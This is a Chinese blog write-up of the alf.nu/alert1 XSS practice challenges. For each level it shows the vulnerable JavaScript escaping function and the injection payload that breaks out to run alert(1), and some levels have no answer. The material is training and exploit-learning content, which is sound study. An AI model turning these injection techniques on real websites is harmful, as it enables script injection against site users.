看别人的答案做个一知半解,深感自己能力不足水平有限啊^_^!
 
Warmup
function escape(s) { 
    return '<script>console.log("'+s+'");</script>';
}
 
");alert(1)//
 
Adobe
function escape(s) {  
    s = s.replace(/"/g, '\\"');  
    return '<script>console.log("' + s + '");</script>';
}
我们发现过滤了 ”替换为\"
\");alert(1)//
 
JSON
function escape(s) {  
    s = JSON.stringify(s);  
    return '<script>console.log(' + s + ');</script>';
}
使用JSON.stringify()过滤 "被替换为\",  \被替换为\\
</script><script>alert(1)//
 
JavaScript
function escape(s) {  
    var url = 'javascript:console.log(' + JSON.stringify(s) + ')';  
    console.log(url);  
    var a = document.createElement('a');  
    a.href = url;  document.body.appendChild(a); 
    a.click();
}
 
%22),alert(1)//
 
Markdown
function escape(s) {  
    var text = s.replace(/</g, '&lt;').replace(/"/g, '&quot;');
  // URLs  
    text = text.replace(/(http:\/\/\S+)/g, '<a href="$1">$1</a>');
  // [[img123|Description]]  
    text = text.replace(/\[\[(\w+)\|(.+?)\]\]/g, '<img alt="$2" src="$1.gif">');  return text;
}
 
 
 
DOM
function escape(s) {
    // Slightly too lazy to make two input fields.  
    // Pass in something like "TextNode#foo"  
    var m = s.split(/#/);
 
    // Only slightly contrived at this point.  
    var a = document.createElement('div');  
    a.appendChild(document['create'+m[0]].apply(document, m.slice(1)));  
    return a.innerHTML;
}
 
Comment#><script>alert(1)</script><!
 
 
Callback
function escape(s) {
    // Pass inn "callback#userdata"  
    var thing = s.split(/#/);
 
    if (!/^[a-zA-Z\[\]']*$/.test(thing[0])) return 'Invalid callback';  
    var obj = {'userdata': thing[1] };  
    var json = JSON.stringify(obj).replace(/</g, '\\u003c');  
    return "<script>" + thing[0] + "(" + json +")</script>";
}
'#';alert(1)//
 
Skandia
function escape(s) {  return '<script>console.log("' + s.toUpperCase() + '")</script>';}
 
</script><script src=data:text/html,%61%6c%65%72%74(1)>
 
Template
function escape(s) {  
    function htmlEscape(s) {    
        return s.replace(/./g, function(x) {       
            return { '<': '&lt;', '>': '&gt;', '&': '&amp;', '"': '&quot;', "'": ''' }[x] || x;       
     });
  }  
 
function expandTemplate(template, args) {    
    return template.replace(
        /{(\w+)}/g,
         function(_, n) {
            return htmlEscape(args[n]);
         });
  }
    return expandTemplate(
    "                                                \n\
      <h2>Hello, <span id=name></span>!</h2>         \n\
      <script>                                       \n\
         var v = document.getElementById('name');    \n\
         v.innerHTML = '<a href=#>{name}</a>';       \n\
      <\/script>                                     \n\
    ",
    { name : s }
  );
}
 
 
JSON ][ 
function escape(s) {  
    s = JSON.stringify(s).replace(/<\/script/gi, '');  
    return '<script>console.log(' + s + ');</script>';
}
 
</scr</scriptipt><script>alert(1);//
 
 
Callback ][
function escape(s) {
  // Pass inn "callback#userdata"
  var thing = s.split(/#/);
  if (!/^[a-zA-Z\[\]']*$/.test(thing[0])) return 'Invalid callback';
  var obj = {'userdata': thing[1] };
  var json = JSON.stringify(obj).replace(/\//g, '\\/');
  return "<script>" + thing[0] + "(" + json +")</script>";
}
 
'#';alert(1);<!-->
 
 
Skandia ][
function escape(s) {
  if (/[<>]/.test(s)) return '-';
 
  return '<script>console.log("' + s.toUpperCase() + '")</script>';
}
 
iframe 
function escape(s) {
  var tag = document.createElement('iframe');
 
  // For this one, you get to run any code you want, but in a "sandboxed" iframe.
  //
  // https://4i.am/?...raw=... just outputs whatever you pass in.
  //
  // Alerting from 4i.am won't count.
  s = '<script>' + s + '<\/script>';
  tag.src = 'https://4i.am/?:XSS=0&CT=text/html&raw='; + encodeURIComponent(s);
  window.WINNING = function() { youWon = true; };
  tag.setAttribute('onload', 'youWon && alert(1)');
  return tag.outerHTML;
}
????
name="youWon"
 
TI(S)M
function escape(s) {
  function json(s) { return JSON.stringify(s).replace(/\//g, '\\/'); }
  function html(s) { return s.replace(/[<>"&]/g, function(s) {
                        return '&#' + s.charCodeAt(0) + ';'; }); }
  return (
    '<script>' +
      'var url = ' + json(s) + '; // We\'ll use this later ' +
    '</script>\n\n' +
    '  <!-- for debugging -->\n' +
    '  URL: ' + html(s) + '\n\n' +
    '<!-- then suddenly -->\n' +
    '<script>\n' +
    '  if (!/^http:.*/.test(url)) console.log("Bad url: " + url);\n' +
    '  else new Image().src = url;\n' +
    '</script>'
  );
}
if(alert(1)/*<!--<script>
利用注释/**/ 注释掉代码中间的一个<script>使得头一个<script>向下寻找</script>闭合,其中的代码都被认为是JavaScript代码得到执行
 
JSON Ⅲ
function escape(s) {
  return s.split('#').map(function(v) {
      // Only 20% of slashes are end tags; save 1.2% of total
      // bytes by only escaping those.
      var json = JSON.stringify(v).replace(/<\//g, '<\\/');
      return '<script>console.log('+json+')</script>';
      }).join('');
}
if(alert(1)/*<!--<script>
 

XSS练习平台- https://alf.nu/alert1的更多相关文章

  1. 【CTF WEB】XSS-https://alf.nu/alert1

    XSS练习平台 https://alf.nu/alert1 Warmup 1");alert(1)// Adobe 1");alert(1)// JSON </script& ...

  2. xss练习,alf.nu/alert1,1-12

    觉得自己很菜,故找一些题来做,随便找了下.记一下通关攻略 https://alf.nu/alert1 第一关 题目:warmup function escape(s) { return '<sc ...

  3. 在线xss练习平台

    在线xss练习平台 HTTPS://ALF.NU/ALERT1 这个是只要能输出alert1就算赢. No.1第一个就很简单了,什么都没有过滤,只需要闭合前面的标签就可以执行xss了. 1 " ...

  4. 1.6 xss挑战平台练习

    ------------------------- XSS挑战之旅 ------------------------- 最近在学习xss,找到了一个xss练习平台,在线地址:http://test.x ...

  5. 搭建XSS测试平台

    XSS测试平台是测试XSS漏洞获取cookie并接收web页面的平台,XSS可以做js能做的所有事情,包括但不限于窃取cookie,后台增删文章.钓鱼.利用xss漏洞进行传播.修改网页代码.网站重定向 ...

  6. 微信公众平台HTTPS方式调用配置免费https服务器

    微信公众平台数据传输安全,提高业务安全性,公众平台将不再支持HTTP方式调用.避免影响正常使用中含有HTTP方式调用的服务,请开发者尽快调整,将现有通过HTTP方式调用的切换成HTTPS调用,平台将于 ...

  7. xss challenges平台学习

    虽然在很早之前就接触过xss,有一段时间还就着一本书研究过,但是始终没有实感,掌握的也不够系统,所以现在借着这几个平台再学习一遍 首先来玩一玩xss challenge平台 第一关:http://xs ...

  8. 百度站长平台HTTPS认证所遇到的坑

    坑1: 百度站长平台https认证失败,提示:请确保您网站的所有链接均支持https访问,且未使用不安全协议(如:SSL2.SSL3等协议). 解决办法: 1.  友情链接检查, 要检查所有的友情链接 ...

  9. 公共错误码 - 支付宝开放平台 https://opendocs.alipay.com/open/common/105806

    公共错误码 - 支付宝开放平台 https://opendocs.alipay.com/open/common/105806

随机推荐

  1. 查看nginx服务器状态

    编译安装时使用--with-http_stub_status_module开启状态页面模块 [root@proxy ~]# yum -y install gcc pcre-devel openssl- ...

  2. sb 的长度 和 文件大小

    StringBuilder sb = new StringBuilder(); ;i<;i++)  //1 0000 0000  1亿项 { sb.AppendFormat("{0}, ...

  3. addBack() 添加堆栈中元素集合到当前集合,一个选择性的过滤选择器。

    addBack() 概述 添加堆栈中元素集合到当前集合,一个选择性的过滤选择器. 如上所述在讨论中的.end(), jQuery对象维护一个堆栈内部来跟踪匹配的元素集合的变化.当一个DOM遍历方法被调 ...

  4. 【csp模拟赛4】 珠江夜游 (cruise.cpp)-二分,贪心

    Problem 1 珠江夜游 (cruise.cpp) [题目描述] 小 Z 放假后难得来一趟广州游玩,当然要吃遍广州各路美食小吃然后再 到珠江新城看看远近闻名的小蛮腰啦!可当小 Z 一路吃吃吃以后, ...

  5. 0078 Java与MySQL时间戳传递/存储/协调问题--userLegacyDatetimeCode--userTimezone--serverTimezone

    00. 基本问题 0.0 版本: 驱动5.1.47和8.0.17 0.1 MySQL驱动5.1有userLegacyDatetimeCode和userTimezone两个参数, 8.0没有 0.2 J ...

  6. java 网络文件下载(并命中文名)

    public void download(HttpServletRequest request, HttpServletResponse response){ //获取服务器文件 String fil ...

  7. Linux dd烧写系统

    虽然用dd指令烧写系统很简单,但是久而久之忘得也太快了,赶紧整理一下. .img 系统镜像 .iso U盘启动引导文件 1. 先来查看本机磁盘情况,打开Linux终端界面(快捷键Ctrl + Alt ...

  8. LeetCode 132. 分割回文串 II(Palindrome Partitioning II)

    题目描述 给定一个字符串 s,将 s 分割成一些子串,使每个子串都是回文串. 返回符合要求的最少分割次数. 示例: 输入: "aab" 输出: 1 解释: 进行一次分割就可将 s ...

  9. leetcode218 天际线问题

    来自leetcode题解:扫描线法AlgsCG class Solution { public: vector<vector<int>> getSkyline(vector&l ...

  10. vscode通过服务器打开html文件

    之前讲到,安装open in brower插件之后可以直接右键选择使用浏览器渲染html文件,但是,这种打开方式是“本地打开方式” 那么我们怎么以服务的方式运行html呢: 1.下载插件:Live S ...